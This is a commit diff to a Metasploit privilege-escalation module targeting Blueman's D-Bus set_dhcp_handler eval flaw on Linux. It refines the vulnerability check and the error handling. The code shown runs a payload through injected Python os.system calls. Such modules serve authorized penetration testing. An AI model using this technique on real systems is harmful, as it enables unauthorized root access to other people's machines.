Update check method to confirm vulnerability

modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb

@@ -105,7 +105,13 @@ class MetasploitModule < Msf::Exploit::Local
     end
     vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
 
-    CheckCode::Detected
+    res = execute_python('')
+    unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
+      vprint_error 'Target is not vulnerable'
+      return CheckCode::Safe
+    end
+
+    CheckCode::Vulnerable
   end
 
   def execute_python(code)
@@ -119,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Local
   end
 
   def exploit
-    unless check == CheckCode::Detected
+    unless check == CheckCode::Vulnerable
       unless datastore['ForceExploit']
         fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
       end
@@ -144,7 +150,11 @@ class MetasploitModule < Msf::Exploit::Local
     res = execute_python "os.system(\"#{payload_path}&\")"
     vprint_line res
 
-    if res.include? 'SyntaxError: invalid syntax'
+    unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
+      fail_with Failure::NotVulnerable, 'The target is not vulnerable'
+    end
+
+    if res.include? 'SyntaxError:'
       fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
     end
   end